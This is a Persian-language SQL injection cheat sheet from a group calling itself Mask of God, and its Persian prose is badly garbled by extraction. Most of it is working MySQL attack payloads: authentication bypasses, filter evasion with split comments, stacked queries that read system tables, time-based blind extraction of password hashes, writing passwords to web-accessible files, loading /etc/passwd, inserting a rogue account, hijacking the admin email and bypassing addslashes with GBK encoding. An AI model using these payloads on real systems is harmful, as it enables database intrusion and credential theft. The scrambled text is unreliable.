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  :مقدمه-الف 
  

ق ي موسوم به تزري تحت وب حملاتيرد کاربي وپرکاربرد در مورد برنامه هايمي از حملات قديکيد يهمانطور که اطلاع دار

 قرار داده ي برنامه کاربردي هايسوم در وروودر مري دستورات و عبارات غيکسريملات ن حيباشد ، در اي م Sqlدستورات 

 خواهد نمود،حال يريم گي ادامه حمله خود تصمي نفوذگر برايق برنامه کاربردي صادر شده از طريشود و با توجه به خروجيم

 ي قوي ها Web Application يدارند ول يسي در برنامه نويتي امنيباشد که ضعفهاي ميين تنها در مورد برنامه هايا

  .ار نفوذگر قرار ندهدي کرده و باعث خواهد شد برنامه مورد نظر اطلاعات با ارزش را در اختHandle را ي احتماليخطاها

  

  .باشدي مشرفتهيپ و متوسطن مقاله  يسطح ا

ن مقاله ي ا۱,۰۰شد ،شما هم اکنون نسخه ل خواهد ينگونه حملات است که به مرور تکمي اي برامرجعک ي  مقالهني در اصل ا

 يم شد با ايد خوشحال خواهيي نماياري از مقالات مارا ين سريل ايد در تکميتوانيز مي که شما نيد ،در صورتيينمايرا مشاهده م

  .دييل ما تماس حاصل فرمايم

  

  با تشکر 

  )Info@maskofgod.com(يحسام حاتم
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   :sql cheat Sheet -ب
  

 بصورت ين حملات همگيا .Sql حملات شناخته شده يکسري ست ازي مجموعه اد در اصليش رو داري اکنون پ که هميمتن

ت ي و وضوح رعاي شده سادگين دستورات سعي اي تست شده اند ، در طراحLocal Host ي شده و بر رويح طراحيصح

  .ده ي چک گردMy Sql ي اکثر نسخه هاين رويشود و همچن

  .م رسانديت حتما به اطلاع شما خواهين مقاله را در اخبار ساي اينهر گونه به روز رسا

  :نکته 

 نوشته شده  My Sql يز تست گردند، اما در اصل براي ن Oracle ا ي Sql Serverتواند در يده ميل ذکر گردي که در ذيموارد

   .مينمايد ميي را تا My sqlو تست شده اند و صحت کارکرد آنها در 

 

  :ياصول اساس
 
SELECT * FROM login /* foobar */ 
SELECT * FROM login WHERE id = 1 or 1=1 
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%" 

 
  :رها و دستوراتييرد کردن حساس به متغ

 
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%" 
 
SHOW TABLES 
SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES 
 
SELECT VERSION 
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION() 
 
SELECT host,user,db from mysql.db 
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db; 
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  : کوريقيمجموعه  دستورات تزر
 

 عملگرها
SELECT 1 && 1; 
SELECT 1 || 1; 
SELECT 1 XOR 0; 
 
 ارزيابي
all render TRUE or 1. 
SELECT 0.1 <= 2; 
SELECT 2 >= 2; 
SELECT ISNULL(1/0); 
 
 رياضي
SELECT FLOOR(7 + (RAND() * 5)); 
SELECT ROUND(23.298, -1); 
 
 مختلف
SELECT LENGTH(COMPRESS(REPEAT('a',1000))); 
SELECT MD5('abc'); 
 
Benchmark 
SELECT BENCHMARK(10000000,ENCODE('abc','123')); 
( رديگيه در لوکال هاست وقت مي ثان۵نکار حدود يا ) 
 
SELECT BENCHMARK(1000000,MD5(CHAR(116))) 
( رديگيه در لوکال هاست وقت مي ثان۷نکار حدود يا ) 
 
SELECT BENCHMARK(10000000,MD5(CHAR(116))) 
( رديگيه در لوکال هاست وقت مي ثان۷۰نکار حدود يا ) 
 

رياخي وجود دارد ين کاربريا همچنينکه آي چک کردن ايم اوت براياستفاده از تا  
SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login 
 
 

!ا از کار خواهد افتاد   يد مرورگر شما متوقف شده ياد کني را زد چون اگر تعداد صفرهايمواظب باش  
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  : اطلاعاتيگرد آور

 
 مپ کردن جدول
SELECT COUNT(*) FROM tablename 
 
 مپ کردن فيلدها
SELECT * FROM tablename WHERE user LIKE "%root%" 
SELECT * FROM tablename WHERE user LIKE "%" 
SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL; 
SELECT * FROM tablename WHERE user = 'x' AND id IS NULL; 
 
 مپ کردن کاربران
SELECT * FROM tablename WHERE email = 'user@site.com'; 
SELECT * FROM tablename WHERE user LIKE "%root%" 
SELECT * FROM tablename WHERE user = 'username' 

 
: و اليشرفته اس کي پيحفره ها  

 
 نوشتن اطلاعات در فايلها
SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE 
'/path/location/on/server/www/passes.txt' 
 
 (مثال) :(Without single quotes ) نوشتن اطلاعات در فايلها بدون استفاده از تک نقل قول
 
SELECT password FROM tablename WHERE username = 
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) 
INTO OUTFILE 
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) 
 

 يل از قبل موجود کاربردير از فايک مسيد و دادن يجاد کنيد ايل جديک فاي ستيباين روش شما ميدر ا: نکته 
.ندارد  
 
CHAR() تابع  بدون نقل قول : 
SELECT * FROM login WHERE user = 
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) 
 
SELECT * FROM login WHERE user = CHAR(39,97,39) 

mailto:user@site.com
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  :استخراج هش ها

SELECT user FROM login WHERE user = 'root' 
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null) 
FROM login 

  
 

 هر ي برا کاراکتر است و۳۲هش حداکثر  .) 97ASCII .(بلشدي م'a'اولين کاراکتر پسورد کاربر رووت که  يارزياب
  .دي انجام دهCHAR () پرس و جو را بانيست ايباي شما ميکاراکتر
 نگل کوت اجازه داده شودي استخراج هش امکان دارد که سيدر حالت

  :دير دقت کنيبه مثال ز
 

SELECT user FROM login WHERE user = 'admin' 
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null) 
FROM login 

 
SELECT user FROM login WHERE user = 'admin' 
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97), 
BENCHMARK(1000000,MD5('x')),null) FROM login  

 
where: (passwordfield,startcharacter,selectlength) 

 
is like: (password,1,2) this selects: 'ab'  
is like: (password,1,3) this selects: 'abc'  
is like: (password,1,4) this selects: 'abcd'  

  
 دون کوتيک مثال ي :

SELECT user FROM login WHERE user = 
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) 
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97), 
BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login  

  
 

  ممکنيکاراکترها
0 to 9 - ASCII 48 to 57 ~ a to z - ASCII 97 to 122 
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  :مختلف يروشها

 
 يد به بانک اطلاعاتيک کاربر جديافزودن 

INSERT INTO login SET user = 'r00t', pass = 'abc' 
 

  ديجد کاربر کي نمودن وارد و لديف کي درون در آن دادن قرار و ، /passwd/etcل ي فايابيباز.
load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user = 'r00t', pass = 
'abc' 

 
 !سپس وروود

 
 TMP در db userنوشتن  :

SELECT host,user,password FROM user into outfile '/tmp/passwd'; 
 

  ! آن يابي هنگام فراموش کردن پسورد و بازي براmail- admin eرييتغ
UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com'; 

 
  :ي اچ پي پيها) فانکشن(رد کردن توابع

 ngGBK encodi باaddslashes  ()  رد کردن
WHERE x = 0xbf27admin 0xbf27 

 
   GBKايBIG 5 باstring_escape_real_ mysql()رد کردن

"injection string" に関する追加情報： 
 

x .4.1my sql به قبل   
 ؟.۵,۰ و ۴,۱,۲۰
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 Mask of god  يتيم امنيدرباره ت

  به نام خدا

اين تيم براي پيشبرد اهداف امنيتي و بلاخص امنيت در .تمقاله اي که مشاهده ميکنيد يکي از مقالات تيم امنيتي ماس

Web Application  ها و بالابردن سطح معلومات تمام افرادي که در زمينه کامپيوتر به صورت تخصصي ،دست 

اندرکار هستند تشکيل شده که اميد دارد بتواند در جامعه امنيتي ايران قدمي هر چند کوچک براي دانشجويان 

  . و علاقمندان به امنيت وب بردارد،دانشپژوهان

 کليه تستهاي آسيب پذيري و نفوذپذيري بر روي برنامه هاي کاربردي شما را ميپذيرد تنها maskofGodتيم امنيتي 

کافي است با مرجعه به وبسايت ما در قسمت نظرات و سفارشات ،سفارش مورد نظر خود را براي مسيول سفارشات 

  .ت به درخواست شما رسيدگي شودارسال کرده تا در اسرع وق

همينجا از کليه اساتيد ،و دست اندرکاران امر تقاضا ميگردد که ما را از انتقادات و پيشنهادات گهربار خويش محروم 

  .و مشکلات کمي ها و کاستي هاي مقاله بالا و کلا مقاله هايي از اين دست را بيان نمايند.نسازند 

  com.maskofgod@info: ل ما تماس بگيريدبراي ارتباط ميتوانيد با اي مي
  حسام حاتمي

www.maskofgod.com  
M.O.G Teams  

  

http://www.maskofgod.com

